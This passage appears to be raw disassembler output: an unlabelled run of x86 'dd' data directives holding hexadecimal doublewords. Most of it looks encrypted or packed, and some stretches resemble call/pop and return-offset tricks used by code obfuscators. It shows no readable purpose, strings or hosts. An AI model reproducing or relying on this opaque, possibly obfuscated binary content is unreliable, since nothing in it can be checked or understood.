6F33B3BDh, 0B069A069h, 0ED4685Ch, 95A42C4Dh dd 18FCA929h, 5CB0A626h, 0CA6D09E4h, 9B7086B8h, 4D2FB4C2h dd 0FFFDAF85h, 7F5F58FFh, 8AB87E90h, 4F6h, 0BA638CB6h dd 65689B3Dh, 85D6A7B4h, 56532996h, 7D4F1A9Bh, 0F8C34F48h dd 0DF7284AEh, 2995AEAAh, 0B389C9Dh, 0A490661Ch, 697584AAh dd 74913AC5h, 6786A881h, 72558786h, 46CDC04Dh, 2995B43Fh dd 0C8CD409Dh, 0D53A9621h, 79E509E0h, 0E598C3EFh, 622995B4h dd 76933AA5h, 86BB86BBh, 95B4A4D5h, 0BD642129h, 95B4DB9Eh dd 8BAB5829h, 94CE4EC8h, 0FEC992Fh, 0B0F7A346h, 7792939Ch dd 3E000008h, 0FB66EA3h, 19BC60AFh, 45B054AFh, 1CBB61A4h dd 8FA557B0h, 82856512h, 0BA517B5Ah, 91786382h, 0AA638C6Bh dd 6CA75072h, 23976311h, 8C17D98Eh, 886FAA63h, 7851A364h dd 0EBB3F3A7h, 1B1CC569h, 0B8EE3BAFh, 0FB5A9A9h, 0FA0522DAh dd 0D81737D4h, 7EE16F7h, 300907E3h, 99BBC1D6h, 659C5D50h dd 967BC3B6h, 0B3434029h, 9E3D9844h, 76779239h, 32A36EA3h dd 6B62A545h, 0A0BB648Ch, 29967BDDh, 7164AD5Ah, 18C614F3h dd 812D390Ch, 7BE29BB8h, 74582996h, 0E0763393h, 0A35EA911h dd 6055AE1Ch, 1F967557h, 0C56F7F4Ah, 0FB7E9D64h, 7829967Bh dd 0CAA66B8Bh, 8B4D2F53h, 3BAh, 0C3B77E56h, 67D4C56h, 46CE4AF0h dd 0F40B4252h, 5A233089h, 0D729965Ah, 134FDF2Ah, 0AF545989h dd 288559B8h, 1499765Ah, 7164AB13h, 18C614F3h, 0A023700h dd 543CC8B1h, 0C0B95AA8h, 3D2AA688h, 11C69623h, 834EDFB2h dd 0A8469473h, 79ED1324h, 6336B752h, 5CA6A491h, 21947B63h dd 8F61A648h, 57B3C0B6h, 776C8C75h, 8D0A3912h, 5D4D92Ch dd 34435F1h, 0FF0F0000h, 350C3565h, 852E4F0Ch, 2DB92996h dd 6D2746F9h, 0A0B67353h, 967DCCADh, 595C4929h, 857CB9AAh dd 7B6F5B28h, 667CEB93h, 8409C0ABh, 0DBD239A3h, 1AC412FDh dd 1AD339FEh, 502425F0h, 5F8B7A9Ch, 0D0A96A8Fh, 4D2AA74Fh dd 9749BE50h, 5FB3C06Fh, 1B927358h, 0B33CF831h, 4D84CC18h dd 2E07DA9h, 37C00000h, 65897695h, 0E07623AAh, 3565FF5Ah dd 4F0C350Ch, 2996852Eh, 0F558FEABh, 29968588h, 27520138h dd 0A4299685h, 681142F7h, 0E5299685h, 0EFDE1638h, 0C2BA3BCAh dd 2769F7FCh, 11D81152h, 1FEECFE8h, 925BFBAEh, 19EAD0E7h dd 0E1289394h, 24430628h, 0C6288511h, 0BECE126h, 33AA2BE2h dd 0BA161644h, 89849C55h, 2BF7695Dh, 38BFB3C0h, 0A7827394h dd 2689B87h, 6E660000h, 80FF6826h, 0B8557AA8h, 89AD6435h dd 8931CEB3h, 6F669F4Ch, 89CA6FBAh, 299685F0h, 0C29EB06Dh dd 0E8CF0A58h, 0D8910405h, 275AF936h, 94299685h, 0FDF013B5h dd 63F0E52Ch, 28858404h, 11DA3207h, 5A663C3Bh, 0C214E523h dd 418830F2h, 46004EADh, 0B3C16CAAh, 20D6Bh, 31CEBD00h dd 0A1787D88h, 6F815E8Dh, 0CFED1F42h, 3DB079F6h, 0B158837Ch dd 9C714E9Dh, 0FE7F9C65h, 7B2995C6h, 9ACE688Eh, 942BD60Ch dd 0FB38DE27h, 8EF7E260h, 0CBC102Fh, 0EDD85ADh, 0CEB1323h dd 0EFE62BE4h, 0FC0FAD4Ah, 0BF82F75Ah, 0A661239Ch, 0E309F6B8h dd 6F010628h, 3748D69Fh, 16BA1DC0h, 0EC25F4F9h, 4CDE4Ah dd 0FF280000h, 31083169h, 85324B08h, 0F2AF2996h, 96851861h dd 46E89529h, 98002AE9h, 6E1B2F8Fh, 729DDC67h, 0B21B239Dh dd 4D625A5Bh, 5E92D8F8h, 739A43BCh, 636F9682h, 7C6AA5BBh dd 0D66AD68Ah, 0B7219E48h, 7E90494Ch, 0EFA2h, 638C8400h dd 984423AAh, 676EA13Dh, 77C277B2h, 9685A1DCh, 8B611E29h dd 0AA64D28Bh, 698294F6h, 729137C0h, 5DB00DDCh, 0C8269158h dd 9B44B343h, 5B2FE055h, 0AE63CD09h, 0A8618C73h, 748BAC86h dd 2033C34Ch, 2995D12Ah, 24E906h, 4831E217h, 0C52995C7h dd 0BC2A36D8h, 725FE949h, 0A26717BBh, 188EDC77h, 57312F92h dd 692DB712h, 6FAA5F3Fh, 7EA36488h, 537C5981h, 0AB6633BAh dd 0A9D47F2Ah, 26239A0Fh, 949EB079h, 61618931h, 4748EAB0h dd 6DECC702h, 0AFB0F4C7h, 4BC9F86h, 5C830000h, 88688FB5h dd 48725587h, 7D5E89BBh, 49715488h, 75AC86BEh, 0BB61A646h dd 0A359B21Ch, 0CC709944h, 9349C429h, 0B2CB8831h, 2F23975Eh dd 608CF6BAh, 7BB65975h, 4CC11EC9h, 28C22A95h, 5FBBD3DEh dd 7A9C554Ch, 71A257C0h, 2995FD08h, 0C0769885h, 5478638Ch dd 0B26742B3h, 9685D8A1h, 61A85529h, 0AB628B6Ch, 85CCAA79h dd 828A2996h, 0AACECD0Fh, 0FD12AE6Ah, 46E821F8h, 59668C1Ah dd 0FF7A9974h, 7C29966Bh, 56B7187Fh, 9A3F8A5Fh, 9172585Fh dd 4B42C726h, 19D5789Eh, 0E72F8F7Fh, 981DEED0h, 0BBC52DC1h dd 6EE8C0AFh, 0D801C862h, 0D4399621h, 9D623647h, 60F6B323h dd 638C38D6h, 1EABB88Dh, 934647BCh, 18449041h, 2D8F28D1h dd 0DBECB0C1h, 834EF226h, 506D7A73h, 45D387BDh, 0B37E41Dh dd 0FE2F8F14h, 2C13EDE4h, 0CE03CDCBh, 0DCAA22C7h, 0DBC1D9CCh dd 0A5D47797h, 23239C9Bh, 5B5C51B8h, 80149970h, 66C8B9A5h dd 70DAF339h, 96718742h, 0D92EA648h, 9C3ED45Dh, 5F11F618h dd 1848D650h, 58h, 0FF69FFEAh, 3CE52CDBh, 37D4FA05h, 97FA3417h dd 36152F8Fh, 7FBA6F94h, 0A0B65778h, 72BDBC47h, 923B239Dh dd 516D7A7Bh, 0B2C537BEh, 0A75EFAA4h, 0D4EF3BBh, 239D726Ch dd 0F51A3CE9h, 48D64E7Bh, 1603Ch, 0FF3AFF00h, 9D662954h dd 5AF9A623h, 239D661Fh, 0E94FDF9Ch, 99BA638Ch, 299685E0h dd 0B069A05Dh, 6B62A147h, 684F98BEh, 9F6A5184h, 0BB0EB04Dh dd 0E7223D8Ah, 314C0732h, 0AE29961Dh, 0DA6A5FD4h, 6BA613CCh dd 605722CBh, 9974597Ch, 6A8C4514h, 5579628Bh, 0AB6633BAh dd 50A03D2Ah, 4F132A56h, 0A85C955Ch, 0ED8D8D7Fh, 2F590366h dd 5E1E2C1Fh, 0D83C2996h, 0E98782AAh, 0F403136Ah, 3B9A42CBh dd 39C67B92h, 0A4757893h, 57C15992h, 1E9D60Bh, 34DA8F06h dd 16B542F7h, 66F063F3h, 312F8F51h, 6A6B9842h, 38BF7AAFh dd 52DC7293h, 0D5F870E6h, 1744FD34h, 2999194Dh, 0EC1DC037h dd 4CF5B24Ah, 1EDE1FF5h, 0E8A750E9h, 0A743A746h, 9A04CB9Bh dd 4E7B6434h, 30C772B7h, 5BD5798Ah, 0E69A507Ch, 17F4DAFCh dd 0D9F1C396h, 59BA6F8Ch, 0BEFD5084h, 5B787D76h, 22000002h dd 4BAA52BFh, 0DB86CA3h, 41A458ABh, 10B76D98h, 8BA95BACh dd 86816916h, 0B655775Eh, 8584678Eh, 0B657785Fh, 8893648Eh dd 23975CF5h, 8C3BFD72h, 0B0537560h, 7CA56C3Dh, 3BB25983h dd 859CDD7Eh, 6C192996h, 82A791A5h, 85E19CB7h, 0C56C2996h dd 5D7364B1h, 82EDBCBh, 0D30904E9h, 0E41FC936h, 1FBF38F1h dd 0A2CFDF0h, 0B646CE34h, 41A49F91h, 24B2AE40h, 161843FEh dd 312F8F14h, 913B9A42h, 6B3EAF7Ah, 5B847BA6h, 0C0439CB2h dd 239CEEB9h, 0A5616D98h, 48D6CACBh, 4FB8249Bh, 11A63BFh dd 8CC50000h, 4423AA63h, 6FCA6F98h, 968599E4h, 36C72429h dd 0B6D7ACD2h, 2AC35350h, 0B86C8D7Fh, 68576287h, 53068788h dd 71D5789Eh, 4D29967Ch, 8C836B70h, 97389F45h, 0F6873D59h dd 31F80F22h, 6E17FDBCh, 17CD49BCh, 41D793A3h, 2333E019h dd 292F8F4Dh, 213A43D0h, 0CAB7239Dh, 2ACFCC24h, 5DAF40A2h dd 6787CFE1h, 11686CCDh, 0E402001Fh, 0F86EFA1Ch, 2689BD85h dd 0F0391A81h, 0F91CF049h, 5A55D821h, 0A75AED01h, 1429991Ah dd 0D234A34Ah, 0AF6928DCh, 0FA216CCBh, 0F42DE42Dh, 727DE0Bh dd 0A82D8D2Ah, 17D2C344h, 2F9027D2h, 0EC02D7DEh, 0D037A342h dd 0FD219803h, 0A491A2BEh, 0FAh, 51F31EC1h, 1FC54AA6h dd 4BF112B8h, 1EC63FACh, 50F413B7h, 0DC00BFF2h, 0F0CEF92Bh dd 0DFFEE91Bh, 0EAD3F22Ah, 26D30123h, 975B84F5h, 0AC4C0123h dd 4B8831CEh, 0B0696CA3h, 7CA57479h, 96859EDFh, 0C86E1B29h dd 0C556C129h, 299685B4h, 84BD7431h, 35B84F7Bh, 7D68D264h dd 9977AD60h, 5478638Ch, 0B2777EB3h, 2B0A225Ah, 29923925h dd 40A69492h, 9655F930h, 3830D439h, 8ECD74AEh, 2F957A80h dd 0A92BD6D3h, 0F2DAD6C1h, 0DD67821h, 7A2BC52Ah, 0C067350Bh dd 0E344F831h, 0B5FCF2DCh, 0F92E5493h, 9E4DE128h, 0AA15CC41h dd 17D2C340h, 1265EEF7h, 23B5BCEh, 0EAD3D905h, 0F53CC7F1h dd 0C647A84Fh, 203E8CFh, 0D2000F8Bh, 0A48FB81Ch, 8481FC17h dd 1FE0BD2h, 23A3A9ABh, 12FBE413h, 5BF1E5E7h, 7D12552Ah dd 22E697C4h, 0A6630BD2h, 9E3FA690h, 3777E6Fh, 0C9000000h dd 658C390Fh, 0A13E29ACh, 5F7E696Ch, 9A4423AAh, 4F7B7C71h dd 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h, 681BCCC1h dd 4E34h, 51243489h, 0C181E189h, 4, 4E981h, 0C870000h dd 0C895C24h, 451F6824h, 14890000h, 0E1685324h, 5B0F306Bh dd 5DEB8143h, 57363E08h, 5376D5BFh, 5FFB213Ch, 0B77AC381h dd 0D989EDACh, 148B545Bh, 4C48324h, 4EC81h, 1C890000h dd 8BB24h, 0D3010000h, 0FF5B0B89h, 815A2434h, 4C4h, 2434FF00h dd 4C48159h, 0E9000000h, 0FFFA52AAh, 4AD622B3h, 0B80C789Ch dd 5FF2BEAh, 0E0FFC503h, 7F3F8435h, 45D676CEh, 0B76E506h dd 5166951Eh, 2F4EFE2Dh, 60CC3191h, 4D3789C5h, 5BD27D15h dd 37C0F5ADh, 4B47E8C8h, 586C25B4h, 2879C49h, 3585DEAAh dd 5E1917E0h, 603AAB72h, 23193976h, 29875C87h, 24F41A74h dd 142DC3D6h, 0CE21FE4h, 6F81FD98h, 76199293h, 273EA9BBh dd 0BF0FC08Bh, 0C9BD83D3h, 5F931h, 0BD830975h, 5F912B5h dd 50197400h, 0B8C08B53h, 3FCh, 28E98589h, 9D8D05F9h, 5FBF384h dd 585BD3FFh, 12B5BD83h, 740005F9h, 0B8535017h, 3FCh, 28E98589h dd 9D8D05F9h, 5FBF073h, 585BD3FFh, 14E8h, 57F6B400h, 0E5A860A9h dd 7E04E382h, 0EBE97E6h, 5DD68F33h, 6A5AECh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0B2DFB6C3h dd 1F702072h, 11E886h, 0E25E0000h, 0D9299189h, 0C59E90CDh dd 0BC1602ECh, 0FF3FB98h, 28Ah, 5AD78B00h, 0C08B04B2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 93C35545h dd 0EA084D78h, 6208B590h, 9E9F4h, 0A8AC0000h, 907A57F1h dd 8127E025h, 8101C5C2h, 85BD837Dh, 105F917h, 0AB840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 1E94EBC3h, 0F43CD313h, 49BD8384h, 5F90Bh dd 7B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8B5747C3h, 0BD835ADFh, 5F929B9h dd 8B840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 5E28C351h, 9E8C9F6h dd 57000000h, 117D3997h, 90BCCE8Bh, 4EBB6660h, 321ABB7Ah dd 5A612764h, 0FE8h, 8BAC1500h, 5E453A5Bh, 0F4E17DC9h dd 5F12DCABh, 45BE95Ah, 81660000h, 0EAA9C2h, 0F000000h dd 38Ch, 0D38B6600h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 74C35040h, 7CE849B2h, 0DEE4BB82h, 0BC91397Dh dd 0CF1EA02h, 0FA8CA374h, 68524E72h, 80F94099h, 1808C0E8h dd 0D770C514h, 81DBA3F4h, 0A753CFF7h, 0ABA1AE38h, 0D8A10CDDh dd 983CDFCh, 0BC3A514h, 0B6EF6C48h, 5211A535h, 5EE83A4Fh dd 0E047DEA6h, 90EC045h, 0E151C57Eh, 983C517h, 57029B34h dd 0DC4B19Dh, 0D548195h, 938C50Dh, 0A9DF9352h, 3C74AF47h dd 5CD84E8Ch, 983C5FCh, 0E4409814h, 0C1FEA08h, 0E127C57Eh dd 938C517h, 56DF9A34h, 0D2AB99Dh, 0D238195h, 983C50Ch dd 13029253h, 80D81592h, 5A70AFE1h, 938C6FCh, 0CA47E514h dd 2D524C4Fh, 2D434410h, 983D810h, 0CA928614h, 0ED381295h dd 17082B3Eh, 8D37F1FBh, 91CC516h, 1BE762A3h, 6307C514h dd 0CD1C2210h, 0E1AFFD5Bh, 89BFB73Fh, 0B22BAFAEh, 63F84EDBh dd 0AF49014h, 290EC514h, 805A0649h, 8887E178h, 1DC5E150h dd 4CE0C514h, 0E1050641h, 938C507h, 0E39461FBh, 0C9890704h dd 0B9CA3C29h, 655F08F9h, 6F40BBEDh, 99BA129Fh, 0E0229574h dd 938C506h, 5C51DAE9h, 977C9D1Ah, 0CBA90823h, 4CEDBA91h dd 38CEA2DEh, 38EF9744h, 512A9D4Eh, 9BDCA74h, 0E11CC514h dd 90EC51Ah, 0AEF53F84h, 0EC252050h, 883699E4h, 68BB6205h dd 0E1E09575h, 938C512h, 0D3B56467h, 0C2B46589h, 5256437Bh dd 2DCFC41Bh, 0C45CAEAh, 6FE0C514h, 7E73695h, 0CB5CA4Ch dd 5B1CC514h, 52D9721Bh, 905C911h, 5A83AF14h, 9C1C6FCh dd 0CABBE514h, 2D2C4C4Fh, 2D7C4410h, 91CDD10h, 0CA5D8614h dd 0C53997E9h, 9892C4Dh, 0B600C514h, 644BB6F7h, 0B62406A1h dd 0AE117F72h, 827ACD9Fh, 9062CC5h, 1703C514h, 92A72D7h dd 82A72641h, 98A395Ch, 9732D41h, 5418C514h, 659598D7h dd 4D8FC130h, 91CC130h, 5CC6C514h, 0AE9723D7h, 964DE7BCh dd 9612C1Eh, 0DCEAC514h, 0F26DA3DAh, 0B8FB16AEh, 91EE0125h dd 6FA7988Ah, 879169Fh, 0E1E0C514h, 970C507h, 5A75401Ch dd 0F811B7F5h, 0A8AB6C16h, 0B0852EBFh, 88DA69B7h, 8200E0E7h dd 6FB09F14h, 5F9129Fh, 885EA530h, 0B28FBFD5h, 66E5F06Bh dd 0D08BA375h, 0E1D4C57Eh, 9C1C517h, 56239A34h, 0D54B99Dh dd 0D1C8195h, 91CC501h, 0B1CD9253h, 0DC63314h, 97D401Bh dd 9ABC514h, 9E32D44h, 5150C514h, 4DB19DD7h, 4D9DC130h dd 917C130h, 5947C514h, 952279D7h, 0E055320Dh, 9E0C512h dd 5D697EE9h, 0FD06959h, 7C1CC514h, 0DE4070B2h, 695E9EEBh dd 0FEDD7B72h, 61F84575h, 889401Bh, 0CCC7C514h, 0B339BC9Fh dd 77E9B96Ah, 90E3A95h, 8B084514h, 983C447h, 0DF0A4472h dd 736502E4h, 8753A3Ah, 6338C514h, 0AF49414h, 290EC514h dd 805E064Dh, 8887E158h, 1DC5E150h, 48E0C514h, 6470645h dd 938C190h, 687C9314h, 8152C4Fh, 96DC514h, 9802D47h, 52E1C514h dd 55699ED7h, 4DF1C130h, 925C130h, 5A5FC514h, 3BCF8BD7h dd 9B444F12h, 0E057C64Fh, 9C1C5FBh, 0E1B1C57Eh, 970C517h dd 50FB9C34h, 0D38899Dh, 0D2A8195h, 907C50Ch, 7409455h dd 8C4C62F5h, 683E4E74h, 970D6FDh, 376E7A14h, 0F044DEFCh dd 9D9F5F06h, 9F904B68h, 6A488819h, 5FC1AF4Dh, 9E0C6FCh dd 0CA2EE514h, 2D4C4C4Ah, 2D584410h, 90ED310h, 0CA518314h dd 6F24A0DAh, 0F6CABC97h, 969411Bh, 91AC514h, 93B2D47h dd 523CC514h, 55879ED7h, 4D86C130h, 99BC130h, 5A82C514h dd 58A35AD7h, 6107CEEh, 938C09Bh, 2F5A7A14h, 0E06EF230h dd 907C51Eh, 1D1B8A30h, 3830DF8Fh, 6880E110h, 8CB7A475h dd 0CC7EB6Eh, 91CC515h, 0E158C57Eh, 907C517h, 57409B34h dd 0DE5B19Dh, 0DC48195h, 970C508h, 7DFB9352h, 71605B7Dh dd 0A8EDB078h, 0E0D64E72h, 983C507h, 0CE65B91Eh, 969C563Fh dd 272DBD17h, 107495F7h, 41E13613h, 0C4497CE1h, 8C8AC380h dd 0C7CF187h, 3B2D7899h, 0F1DBC0EBh, 640C260h, 0E27F0CC5h dd 9112CE1h, 69E4C514h, 0B07267F7h, 341100A8h, 0F13A4297h dd 1E657897h, 671C0EDh, 938E990h, 0B27A9514h, 8A55AB98h dd 0F00C8CA9h, 8C8CC511h, 9C1C50Dh, 0B463159Fh, 0C89ECADh dd 52BCCA14h, 691CC514h, 0D3162B95h, 0DE8CD3A0h, 8842C75h dd 9ABC514h, 9E32D44h, 5150C514h, 4DB19DD7h, 4D9DC130h dd 916C130h, 5947C514h, 305AF8D7h, 0DA40E38Bh, 2AD6D521h dd 9772D74h, 552EC514h, 1319D369h, 91E2C2Fh, 4AE2C514h dd 0A8030943h, 14D6F7ACh, 9404545Eh, 822E6CCEh, 0B4BBA4D7h dd 0CE5D291h, 798BCA15h, 6307C514h, 0A6B9314h, 29C1C514h dd 80BE064Ah, 8874E160h, 103CE150h, 4F1CC514h, 0B21F0642h dd 44A178E9h, 983CCFCh, 5245A114h, 69CFD9h, 0BE7F8F28h dd 63659FCAh, 0AF49414h, 290EC514h, 805E064Dh, 8887E158h dd 15C5E150h, 48E0C514h, 8C670645h, 0EA1CEC66h, 60A6552h dd 0FE8416ABh, 0E0D94ED7h, 983C55Dh, 0A47CA44h, 89E0C514h dd 542A63C7h, 0E16EC57Eh, 91CC517h, 57CD9B34h, 0D23B19Dh dd 0DA78195h, 9C1C509h, 0AD239352h, 0BCC7AA9Ah, 0FC34A0B1h dd 0DA97A340h, 9082DDBh, 37DFC514h, 1B2655EEh, 9C3421Bh dd 0D96BC514h, 0A4CD484Eh, 843D3A3Ah, 0F628A599h, 55137D11h dd 8C34BE2Eh, 0C7ADB3Dh, 497C0A3Fh, 8AC380C4h, 7CF1878Ch dd 2D78990Ch, 0DBC0EB3Bh, 40C260F1h, 7F0CC506h, 5E983E2h dd 0BD83A4F3h, 5FF2E7Ah, 8D0D7400h, 0F94EE88Dh, 1B805h dd 0E1FF0000h, 56006A40h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0ECFC79DDh, 6A223DEBh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 66A0C350h, 5FBBF381h, 6A2DE883h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 49C9C352h, 0C01C33D5h, 60C08B38h, 11E9D68Bh, 74000000h dd 8B982CF5h, 5FBDACE7h, 63E46FE5h, 0E62BCC50h, 0C9BD8361h dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h dd 3FCh, 15DD8589h, 9D8D05F9h, 5FBF3EBh, 585BD3FFh, 12B5BD83h dd 740005F9h, 0B8535017h, 3FCh, 15DD8589h, 9D8D05F9h, 5FBF08Ch dd 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0DFC35343h, 0F5BE6C8Bh, 0F37DCBEh, 38Ch, 0D3BF0F00h dd 3800F60h, 0F000000h, 0BB66D0BFh, 8B61CC8Ah, 2C8D8DC0h dd 905FF36h, 0F92E19B5h, 75958905h, 8905F905h, 0F90CDD8Dh dd 8E905h, 15E00000h, 74E8B1DAh, 85C73131h, 5F926C1h, 6014h dd 0C7E3F080h, 0F900FD85h, 5, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 86BFFE91h dd 0B5FFFCE3h, 5F90751h, 0FE9h, 0FB4AFF00h, 8693F545h dd 0B586B97Fh, 470ACB2Eh, 20D595FFh, 0F5605F9h, 605BC6B7h dd 6A61F5h, 1AED95FFh, 0C08B05F9h, 34BC3EEBh, 5BF8EF52h dd 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h, 0E545EB74h dd 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh, 25165DF0h dd 9831BD16h, 0F7B75156h, 3A0662F2h, 0E15F99C2h, 51E9h dd 55BC8900h, 2Fh, 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h dd 0B7FB75h, 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh dd 0DE19h, 8 dup(0) dd 30E90000h, 6800000Fh, 5FF380Fh, 0FA4839E9h, 39A268FFh dd 2FE905FFh, 68FFFA48h, 5FF3B48h, 0FA4825E9h, 3C5868FFh dd 1BE905FFh, 68FFFA48h, 5FF3D39h, 0FA4811E9h, 3E8A68FFh dd 7E905FFh, 68FFFA48h, 5FF3FC4h, 0FA47FDE9h, 428D68FFh dd 0F3E905FFh, 68FFFA47h, 5FF43FBh, 0FA47E9E9h, 888968FFh dd 0C24D7154h, 0F60DBB1Ah, 0C342A74Eh, 0F116B621h, 0FBB8F94Bh dd 0E10438CFh, 9EC10FBh, 0D2F527E2h, 0D6FC20EDh, 4E87F221h dd 5F042397h, 8D31CEA1h, 559C6D50h, 0F733A5C1h, 9685215Ch dd 28E19E29h, 62F148F1h, 29968517h, 447E794h, 2F95BC0Eh dd 8C4B7261h, 7425A861h, 74CD74BDh, 507A638Bh, 0A2777EB3h dd 8D805D8Ch, 0B6EAD54h, 8823974Fh, 16C17B9Bh, 986154B9h dd 5E4FBE1Fh, 69FF6B8Bh, 0BD30DFFFh, 3DF411BAh, 0E30E4DF4h dd 70299684h, 17E598C3h, 0A5621D98h, 0A04AB56Ch, 5966D363h dd 57609974h, 0B7819574h, 84876552h, 44C92611h, 658A698Dh dd 0A36554B8h, 0E0C776D4h, 97972A53h, 2FFAA71Dh, 0D704FBBEh dd 2677BD11h, 0D2171E9Bh, 6CB6203Ch, 57F4A6B5h, 722F2391h dd 0FFEAEFA1h, 0F161FA4h, 0D3Bh, 8DAF627Dh, 5389866Ah dd 87BD4674h, 528A7B60h, 1CC04773h, 20CC8B06h, 2C9235E7h dd 339A3DDFh, 26C72ED6h, 0EA8F35E7h, 974D5029h, 5818CD23h dd 6FAA638Ch, 0F4F30C9Dh, 95B31667h, 3E969329h, 6F7F9B23h dd 0C14C7176h, 1716FE1Bh, 271EA6DAh, 70E68294h, 0DE64EF2Ah dd 0D12F8F57h, 1F7760B7h, 0FCDD1FD5h, 0D009C009h, 8F0605E7h dd 0EAB34DAh, 0AC42CDF1h, 9D10DC99h, 7986BB23h, 0F28BC853h dd 6F239D10h, 0A37677B2h, 0A0667493h, 48D62CCCh, 3189h dd 69FF5B00h, 0E32EDDFFh, 980D1D3Eh, 5E282F8Fh, 0BAAE0D9Fh dd 20D9103Ah, 0DFD63597h, 58FBE40Ah, 239D3A21h, 0EDD90500h dd 48D61673h, 12834h, 638C0E00h, 0DB9D6FAAh, 0EF5E347h dd 0B22AFA6h, 0D5F502EBh, 13BCBB32h, 0CBF4F3FAh, 2E92A225h dd 96528CEDh, 0B81C0929h, 3F86E1EBh, 42429E91h, 71A861A8h dd 2BA26786h, 0D35ED87Eh, 299605A3h, 9547C627h, 9B638D32h dd 0BD4C6F16h, 2D8B6138h, 0AB22E794h, 0C871A93Fh, 8EBDD78Bh dd 649D8A2Fh, 0D07B5170h, 49EDB691h, 83ED7BEFh, 0E697C45Bh dd 63239BD6h, 0AF6A6BA6h, 0D6B0C98Ah, 702D239Bh, 2AD380B9h dd 0E22997CAh, 4831E217h, 0C51D9FE3h, 0E3423BD8h, 0C2BF1D9Fh dd 2CE7C42Ch, 1D9FE351h, 0E118D1CEh, 0FD11F6D6h, 0C723C730h dd 0B915192Dh, 54077E56h, 0E133EE23h, 5509E33Ah, 0C17B9BB9h dd 8251B616h, 0BEFEB6C4h, 0A8462F40h, 0EA00000Bh, 0F3D20A07h dd 35A044CBh, 29CC7093h, 389F45C0h, 73D17394h, 0AE59813Eh dd 9E6D4F76h, 0AD5C7F66h, 9E6F5077h, 0A0BB7C66h, 23974CDDh dd 0CE53F55Ah, 0DABD7B46h, 0E8CF53A3h, 0DA8F0607h, 0F215B534h dd 0EBD2ED4Ah, 0D4F9F81Eh, 0D5F70039h, 2D0F8E19h, 5FAABA1Eh dd 0A19BBB6Eh, 0FF69FF7Fh, 3ADF2AD9h, 852954FFh, 3E9F2996h dd 9B0BDECFh, 3FCAF1EEh, 82B782AFh, 9685A8D1h, 0C1782529h dd 9685E792h, 97B76429h, 8F987AB4h, 0E5E8952Fh, 0FC13BB44h dd 7382F75Ah, 0DA00239Dh, 735F1A39h, 1FDC239Dh, 0DC04E3EAh dd 73651843h, 25E2239Dh, 8374E9ECh, 96718757h, 4FE27E48h dd 43A348D6h, 7E000001h, 758E3CC3h, 0EF8AA980h, 6C239D67h dd 0CE999FAFh, 6C828D31h, 5C90607Dh, 21EF85E9h, 0DA2F8E09h dd 16CB06D3h, 32C43FA9h, 90EAEB9h, 95F22F4Ah, 0C144A529h dd 3BD0EEDDh, 0F9063BF6h, 0CB143AD5h, 2306A62Eh, 6FDFE8Fh dd 0E2155DF0h, 34992995h, 0D0C544A7h, 0D029D019h, 95DA3A43h dd 0CDCAB729h, 3FF91DF0h, 8FBDDDAh, 37E607E6h, 95DA611Ch dd 0B621DE29h, 43DF419h, 0B21ACEFBh, 713D1B0Eh, 3DC72B7h dd 20D90197h, 0D5D6F3D9h, 0C20B0631h, 961B4831h, 0DFD8C529h dd 4CE90DFCh, 8F44530Fh, 0E019062Fh, 70B9C1ECh, 97B7A28Fh dd 0DF3BAD9Dh, 0D4F8FF3Ah, 0EB24CC33h, 2C1F2FEAh, 299882C0h dd 0C277A25Fh, 0DC729535h, 0A25AAD0Dh, 0B8557A85h, 7F8C3235h dd 0A545A44Ah, 8EC39162h, 1A1BBEFDh, 0A020Bh, 749D4400h dd 46C925D0h, 7291379Eh, 47BE2BCAh, 7D8A3295h, 87346DC7h dd 5580A463h, 85709477h, 5681A366h, 82709479h, 4AD3A6B5h dd 9B502397h, 0A7608CDDh, 0A3668572h, 5DD77732h, 6786557Ah dd 0B37E2BA2h, 8E4B718Eh, 9E0FDA2Fh, 1FE8D4CBh, 0E15BFBAEh dd 3809D438h, 3C255238h, 46CE241Ah, 9683A5DAh, 29C86E6Dh dd 634449C4h, 0C871937Ah, 0A4698671h, 963DE697h, 90A66329h dd 963DB8BDh, 64947829h, 5E945D1Eh, 0B82E3ADCh, 0B782B762h dd 963FE19Ch, 92A15E29h, 29963FE7h, 9B6C6272h, 0EF03904h dd 0C247A611h, 0BD3AFF2Ch, 0F510B91Eh, 0F7E02900h, 0EABF36D5h dd 70030144h, 0BD6A2F95h, 7157BD84h, 2D1ECE35h, 0BB527B64h dd 20CF5F3Ah, 2F964EBFh, 8E0A628Eh, 0D74B0D13h, 6B88F122h dd 18052397h, 2B8F28D1h, 0EE00D9DCh, 0B7F365F5h, 976BE19Ch dd 36A15E23h, 0AD7C7196h, 209EBD64h, 13299090h, 542DC516h dd 0D8D9BEF0h, 8F2CDh, 848D3400h, 0B6597560h, 8281678Eh dd 0B74E7B5Ah, 8D7A6285h, 1744BD57h, 45B054B3h, 15C064A7h dd 46B153B6h, 12C064A9h, 49C3B665h, 8B402397h, 0A46CEEDh dd 987753B2h, 45AA49EDh, 1ED33896h, 0EC27D297h, 29966891h dd 0E5BF40Eh, 70654AA6h, 795695B9h, 0A4832194h, 0C219B6B6h dd 0F7CFD11Bh, 0C8CF1E9Ch, 0E811C801h, 0DF770211h, 7F42995h dd 95DF91ECh, 0F2210E29h, 2995DF87h, 3CD21704h, 0FB73EDF2h dd 7344D2Fh, 0E000000h, 